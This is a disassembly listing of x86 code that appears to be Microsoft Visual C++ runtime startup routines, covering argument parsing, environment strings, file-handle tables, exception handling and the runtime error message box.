		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423051:				; CODE XREF: sub_422F24+106j
		shr	ebx, 1


loc_423053:				; CODE XREF: sub_422F24+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423068
		inc	ebx


loc_42305B:				; CODE XREF: sub_422F24+142j
		test	esi, esi
		jz	short loc_423063
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423063:				; CODE XREF: sub_422F24+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42305B


loc_423068:				; CODE XREF: sub_422F24+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4230B8
		cmp	[ebp+arg_10], 0
		jnz	short loc_42307E
		cmp	dl, 20h
		jz	short loc_4230B8
		cmp	dl, 9
		jz	short loc_4230B8


loc_42307E:				; CODE XREF: sub_422F24+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4230B2
		test	esi, esi
		jz	short loc_4230A1
		movzx	ebx, dl
		test	byte_4DAC81[ebx], 4
		jz	short loc_42309A
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42309A:				; CODE XREF: sub_422F24+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4230B0
; ---------------------------------------------------------------------------


loc_4230A1:				; CODE XREF: sub_422F24+162j
		movzx	edx, dl
		test	byte_4DAC81[edx], 4
		jz	short loc_4230B0
		inc	eax
		inc	dword ptr [ecx]


loc_4230B0:				; CODE XREF: sub_422F24+17Bj
					; sub_422F24+187j
		inc	dword ptr [ecx]


loc_4230B2:				; CODE XREF: sub_422F24+15Ej
		inc	eax
		jmp	loc_423010
; ---------------------------------------------------------------------------


loc_4230B8:				; CODE XREF: sub_422F24+148j
					; sub_422F24+153j ...
		test	esi, esi
		jz	short loc_4230C0
		and	byte ptr [esi],	0
		inc	esi


loc_4230C0:				; CODE XREF: sub_422F24+196j
		inc	dword ptr [ecx]
		jmp	loc_422FDE
; ---------------------------------------------------------------------------


loc_4230C7:				; CODE XREF: sub_422F24+BDj
					; sub_422F24+D5j
		test	edi, edi
		jz	short loc_4230CE
		and	dword ptr [edi], 0


loc_4230CE:				; CODE XREF: sub_422F24+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_422F24	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4D98F4
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423126
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423107
		mov	dword_4D98F4, 1
		jmp	short loc_42312F
; ---------------------------------------------------------------------------


loc_423107:				; CODE XREF: ___:004230F9j
		call	near ptr 2620077h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423201
		mov	dword_4D98F4, 2
		jmp	loc_4231B5
; ---------------------------------------------------------------------------


loc_423126:				; CODE XREF: ___:004230F1j
		cmp	eax, 1
		jnz	loc_4231B0


loc_42312F:				; CODE XREF: ___:00423105j
		cmp	esi, ebx
		jnz	short loc_42313F
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423201


loc_42313F:				; CODE XREF: ___:00423131j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423154


loc_423146:				; CODE XREF: ___:0042314Bj
					; ___:00423152j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423146
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423146


loc_423154:				; CODE XREF: ___:00423144j
		sub	eax, esi
		mov	edi, dword_427194
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_4231A5
		push	ebp
		call	sub_41BC9B
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_4231A5
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_4231A1
		push	dword ptr [esp+10h]
		call	sub_41BA31
		pop	ecx
		mov	[esp+10h], ebx


loc_4231A1:				; CODE XREF: ___:00423191j
		mov	ebx, [esp+10h]


loc_4231A5:				; CODE XREF: ___:00423171j
					; ___:00423180j
		push	esi
		call	near ptr 262030Bh
		nop
		mov	eax, ebx
		jmp	short loc_423203
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: ___:00423129j
		cmp	eax, 2
		jnz	short loc_423201


loc_4231B5:				; CODE XREF: ___:00423121j
		cmp	edi, ebx
		jnz	short loc_4231C5
		nop
		call	near ptr 2620077h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423201


loc_4231C5:				; CODE XREF: ___:004231B7j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4231D5


loc_4231CB:				; CODE XREF: ___:004231CEj
					; ___:004231D3j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4231CB
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4231CB


loc_4231D5:				; CODE XREF: ___:004231C9j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4231EB
		xor	esi, esi
		jmp	short loc_4231F6
; ---------------------------------------------------------------------------


loc_4231EB:				; CODE XREF: ___:004231E5j
		push	ebp
		push	edi
		push	esi
		call	sub_41CAB0
		add	esp, 0Ch


loc_4231F6:				; CODE XREF: ___:004231E9j
		push	edi
		nop
		call	near ptr 2620354h
		mov	eax, esi
		jmp	short loc_423203
; ---------------------------------------------------------------------------


loc_423201:				; CODE XREF: ___:00423111j
					; ___:00423139j ...
		xor	eax, eax


loc_423203:				; CODE XREF: ___:004231AEj
					; ___:004231FFj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_42322A
		push	1Bh
		call	sub_41E1C9
		pop	ecx


loc_42322A:				; CODE XREF: ___:00423220j
		mov	dword_4DAA60, esi
		mov	dword_4DAB60, 20h
		lea	eax, [esi+100h]


loc_423240:				; CODE XREF: ___:0042325Cj
		cmp	esi, eax
		jnb	short loc_42325E
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DAA60
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423240
; ---------------------------------------------------------------------------


loc_42325E:				; CODE XREF: ___:00423242j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 28A0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_42333A
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_42333A
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423294
		mov	esi, eax


loc_423294:				; CODE XREF: ___:00423290j
		cmp	dword_4DAB60, esi
		jge	short loc_4232EE
		mov	edi, offset dword_4DAA64


loc_4232A1:				; CODE XREF: ___:004232E4j
		push	100h
		call	sub_41BC9B
		test	eax, eax
		pop	ecx
		jz	short loc_4232E8
		add	dword_4DAB60, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4232BF:				; CODE XREF: ___:004232D9j
		cmp	eax, ecx
		jnb	short loc_4232DB
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4232BF
; ---------------------------------------------------------------------------


loc_4232DB:				; CODE XREF: ___:004232C1j
		add	edi, 4
		cmp	dword_4DAB60, esi
		jl	short loc_4232A1
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E8:				; CODE XREF: ___:004232AEj
		mov	esi, dword_4DAB60


loc_4232EE:				; CODE XREF: ___:0042329Aj
					; ___:004232E6j
		xor	edi, edi
		test	esi, esi
		jle	short loc_42333A


loc_4232F4:				; CODE XREF: ___:00423338j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423331
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423331
		test	cl, 8
		jnz	short loc_423313
		push	eax
		nop
		call	near ptr 26106AFh
		test	eax, eax
		jz	short loc_423331


loc_423313:				; CODE XREF: ___:00423306j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DAA60[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423331:				; CODE XREF: ___:004232F9j
					; ___:00423301j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4232F4


loc_42333A:				; CODE XREF: ___:0042326Fj
					; ___:0042327Bj ...
		xor	ebx, ebx


loc_42333C:				; CODE XREF: ___:0042339Fj
		mov	eax, dword_4DAA60
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423397
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423357
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423361
; ---------------------------------------------------------------------------


loc_423357:				; CODE XREF: ___:00423350j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423361:				; CODE XREF: ___:00423355j
		push	eax
		nop
		call	near ptr 2610D92h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423386
		push	edi
		nop
		call	near ptr 26106AFh
		test	eax, eax
		jz	short loc_423386
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_42338C


loc_423386:				; CODE XREF: ___:0042336Dj
					; ___:00423378j
		or	byte ptr [esi+4], 40h
		jmp	short loc_42339B
; ---------------------------------------------------------------------------


loc_42338C:				; CODE XREF: ___:00423384j
		cmp	eax, 3
		jnz	short loc_42339B
		or	byte ptr [esi+4], 8
		jmp	short loc_42339B
; ---------------------------------------------------------------------------


loc_423397:				; CODE XREF: ___:00423348j
		or	byte ptr [esi+4], 80h


loc_42339B:				; CODE XREF: ___:0042338Aj
					; ___:0042338Fj ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_42333C
		push	dword_4DAB60
		nop
		call	near ptr 2610FE4h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4233C0	proc near		; DATA XREF: sub_421F92+Ao
					; sub_4220C1+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423460
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4233F3:				; CODE XREF: sub_4233C0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423459
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423447
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423447
		js	short loc_423452
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D2E0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D322
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D3B6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423447:				; CODE XREF: sub_4233C0+40j
					; sub_4233C0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4233F3
; ---------------------------------------------------------------------------


loc_423452:				; CODE XREF: sub_4233C0+54j
		mov	eax, 0
		jmp	short loc_423475
; ---------------------------------------------------------------------------


loc_423459:				; CODE XREF: sub_4233C0+36j
		mov	eax, 1
		jmp	short loc_423475
; ---------------------------------------------------------------------------


loc_423460:				; CODE XREF: sub_4233C0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D322
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423475:				; CODE XREF: sub_4233C0+97j
					; sub_4233C0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4233C0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D322
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423498	proc near		; CODE XREF: sub_41E1C9+9p
		mov	eax, dword_4D9790
		cmp	eax, 1
		jz	short loc_4234AF
		test	eax, eax
		jnz	short locret_4234D0
		cmp	dword_43A674, 1
		jnz	short locret_4234D0


loc_4234AF:				; CODE XREF: sub_423498+8j
		push	0FCh
		call	sub_4234D1
		mov	eax, dword_4D98F8
		pop	ecx
		test	eax, eax
		jz	short loc_4234C5
		call	eax


loc_4234C5:				; CODE XREF: sub_423498+29j
		push	0FFh
		call	sub_4234D1
		pop	ecx

locret_4234D0:				; CODE XREF: sub_423498+Cj
					; sub_423498+15j
		retn
sub_423498	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234D1	proc near		; CODE XREF: sub_41E1C9+12p
					; sub_423498+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43ACE8


loc_4234E4:				; CODE XREF: sub_4234D1+20j
		cmp	edx, [eax]
		jz	short loc_4234F3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43AD78
		jl	short loc_4234E4


loc_4234F3:				; CODE XREF: sub_4234D1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43ACE8[esi]
		jnz	loc_423621
		mov	eax, dword_4D9790
		cmp	eax, 1
		jz	loc_4235FB
		test	eax, eax
		jnz	short loc_423524
		cmp	dword_43A674, 1
		jz	loc_4235FB


loc_423524:				; CODE XREF: sub_4234D1+44j
		cmp	edx, 0FCh
		jz	loc_423621
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2670000h
		nop
		test	eax, eax
		jnz	short loc_42355B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C620
		pop	ecx
		pop	ecx


loc_42355B:				; CODE XREF: sub_4234D1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B960
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_42359E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B960
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BD70
		add	esp, 10h


loc_42359E:				; CODE XREF: sub_4234D1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C620
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C630
		lea	eax, [ebp+var_A0]
		push	offset asc_427BD8 ; "\n\n"
		push	eax
		call	sub_41C630
		push	off_43ACEC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C630
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424C88
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423621
; ---------------------------------------------------------------------------


loc_4235FB:				; CODE XREF: sub_4234D1+3Cj
					; sub_4234D1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43ACEC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B960
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2610D92h
		push	eax
		nop
		call	near ptr 2700000h


loc_423621:				; CODE XREF: sub_4234D1+2Ej
					; sub_4234D1+59j ...
		pop	esi
		leave
		retn
sub_4234D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423624	proc near		; CODE XREF: sub_42393B:loc_423AB3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DAA60


loc_423633:				; CODE XREF: sub_423624+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423670
		lea	edx, [eax+100h]


loc_42363F:				; CODE XREF: sub_423624+28j
		cmp	eax, edx
		jnb	short loc_42365F
		test	byte ptr [eax+4], 1
		jz	short loc_42364E
		add	eax, 8
		jmp	short loc_42363F
; ---------------------------------------------------------------------------


loc_42364E:				; CODE XREF: sub_423624+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4236B3


loc_42365F:				; CODE XREF: sub_423624+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DAB60
		jl	short loc_423633
		jmp	short loc_4236B3
; ---------------------------------------------------------------------------


loc_423670:				; CODE XREF: sub_423624+13j
		mov	esi, 100h
		push	esi
		call	sub_41BC9B
		test	eax, eax
		pop	ecx
		jz	short loc_4236B3
		add	dword_4DAB60, 20h
		lea	ecx, ds:4DAA60h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423696:				; CODE XREF: sub_423624+88j
		cmp	eax, edx
		jnb	short loc_4236AE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236AE:				; CODE XREF: sub_423624+74j
		shl	edi, 5
		mov	ebx, edi


loc_4236B3:				; CODE XREF: sub_423624+39j
					; sub_423624+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423624	endp


; =============== S U B	R O U T	I N E =======================================



sub_4236B9	proc near		; CODE XREF: sub_42393B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DAB60
		push	edi
		jnb	short loc_423719
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DAA60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423719
		cmp	dword_43A674, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42370F
		sub	eax, 0
		jz	short loc_423706
		dec	eax
		jz	short loc_423701
		dec	eax
		jnz	short loc_42370F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423709
; ---------------------------------------------------------------------------


loc_423701:				; CODE XREF: sub_4236B9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423709
; ---------------------------------------------------------------------------


loc_423706:				; CODE XREF: sub_4236B9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423709:				; CODE XREF: sub_4236B9+46j
					; sub_4236B9+4Bj
		nop
		call	near ptr 261049Dh


loc_42370F:				; CODE XREF: sub_4236B9+36j
					; sub_4236B9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42372D
; ---------------------------------------------------------------------------


loc_423719:				; CODE XREF: sub_4236B9+Cj
					; sub_4236B9+28j
		and	dword_4D9718, 0
		mov	dword_4D9714, 9
		or	eax, 0FFFFFFFFh


loc_42372D:				; CODE XREF: sub_4236B9+5Ej
		pop	edi
		pop	esi
		retn
sub_4236B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_423730	proc near		; CODE XREF: sub_41E212+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DAB60
		push	edi
		jnb	short loc_423793
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DAA60h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_423793
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_423793
		cmp	dword_43A674, 1
		jnz	short loc_423789
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423780
		dec	ecx
		jz	short loc_42377B
		dec	ecx
		jnz	short loc_423789
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_423783
; ---------------------------------------------------------------------------


loc_42377B:				; CODE XREF: sub_423730+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_423783
; ---------------------------------------------------------------------------


loc_423780:				; CODE XREF: sub_423730+3Ej
		push	eax
		push	0FFFFFFF6h


loc_423783:				; CODE XREF: sub_423730+49j
					; sub_423730+4Ej
		call	near ptr 261049Dh
		nop


loc_423789:				; CODE XREF: sub_423730+38j
					; sub_423730+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4237A7
; ---------------------------------------------------------------------------


loc_423793:				; CODE XREF: sub_423730+Cj
					; sub_423730+2Aj ...
		and	dword_4D9718, 0
		mov	dword_4D9714, 9
		or	eax, 0FFFFFFFFh


loc_4237A7:				; CODE XREF: sub_423730+61j
		pop	edi
		pop	esi
		retn
sub_423730	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237AA	proc near		; CODE XREF: sub_41E212+32p
					; sub_41E212+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DAB60
		jnb	short loc_4237D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DAA60[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4237D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4237D2:				; CODE XREF: sub_4237AA+Aj
					; sub_4237AA+23j
		and	dword_4D9718, 0
		mov	dword_4D9714, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4237AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237E7	proc near		; CODE XREF: sub_41E2F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DAB60
		jnb	short loc_423830
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DAA60[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423830
		push	eax
		call	sub_4237AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2610000h
		test	eax, eax
		jnz	short loc_423825
		nop
		call	near ptr 26807F9h
		jmp	short loc_423827
; ---------------------------------------------------------------------------


loc_423825:				; CODE XREF: sub_4237E7+34j
		xor	eax, eax


loc_423827:				; CODE XREF: sub_4237E7+3Cj
		test	eax, eax
		jz	short locret_42383D
		mov	dword_4D9718, eax


loc_423830:				; CODE XREF: sub_4237E7+Aj
					; sub_4237E7+22j
		mov	dword_4D9714, 9
		or	eax, 0FFFFFFFFh

locret_42383D:				; CODE XREF: sub_4237E7+42j
		retn
sub_4237E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42383E	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DAA40
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_423852
		mov	eax, 200h
		jmp	short loc_423858
; ---------------------------------------------------------------------------


loc_423852:				; CODE XREF: sub_42383E+Bj
		cmp	eax, esi
		jge	short loc_42385D
		mov	eax, esi


loc_423858:				; CODE XREF: sub_42383E+12j
		mov	dword_4DAA40, eax


loc_42385D:				; CODE XREF: sub_42383E+16j
		push	4
		push	eax
		call	sub_424D11
		pop	ecx
		mov	dword_4D9A30, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423891
		push	4
		push	esi
		mov	dword_4DAA40, esi
		call	sub_424D11
		pop	ecx
		mov	dword_4D9A30, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423891
		push	1Ah
		call	sub_41E1C9
		pop	ecx


loc_423891:				; CODE XREF: sub_42383E+30j
					; sub_42383E+49j
		xor	ecx, ecx
		mov	eax, offset off_43AD78


loc_423898:				; CODE XREF: sub_42383E+6Ej
		mov	edx, dword_4D9A30
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43AFF8
		jl	short loc_423898
		xor	edx, edx
		mov	ecx, offset dword_43AD88


loc_4238B5:				; CODE XREF: sub_42383E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DAA60[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4238D2
		test	eax, eax
		jnz	short loc_4238D5


loc_4238D2:				; CODE XREF: sub_42383E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4238D5:				; CODE XREF: sub_42383E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43ADE8
		jl	short loc_4238B5
		pop	esi
		retn
sub_42383E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238E3	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424D8E SIZE 00000058 BYTES

		call	sub_41E387
		cmp	byte_4D9754, 0
		jz	short locret_4238F6
		jmp	loc_424D8E
; ---------------------------------------------------------------------------

locret_4238F6:				; CODE XREF: sub_4238E3+Cj
		retn
sub_4238E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238F7	proc near		; CODE XREF: sub_41EF78+32p
					; sub_41F4BF+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4D98FC
		push	1000h
		call	sub_41BC9B
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423920
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423931
; ---------------------------------------------------------------------------


loc_423920:				; CODE XREF: sub_4238F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423931:				; CODE XREF: sub_4238F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4238F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42393B	proc near		; CODE XREF: sub_41F262+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423961
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42396C
; ---------------------------------------------------------------------------


loc_423961:				; CODE XREF: sub_42393B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42396C:				; CODE XREF: sub_42393B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423986
		test	ch, 40h
		jnz	short loc_423982
		cmp	dword_4D9A08, eax
		jz	short loc_423986


loc_423982:				; CODE XREF: sub_42393B+3Dj
		or	[ebp+var_1], 80h


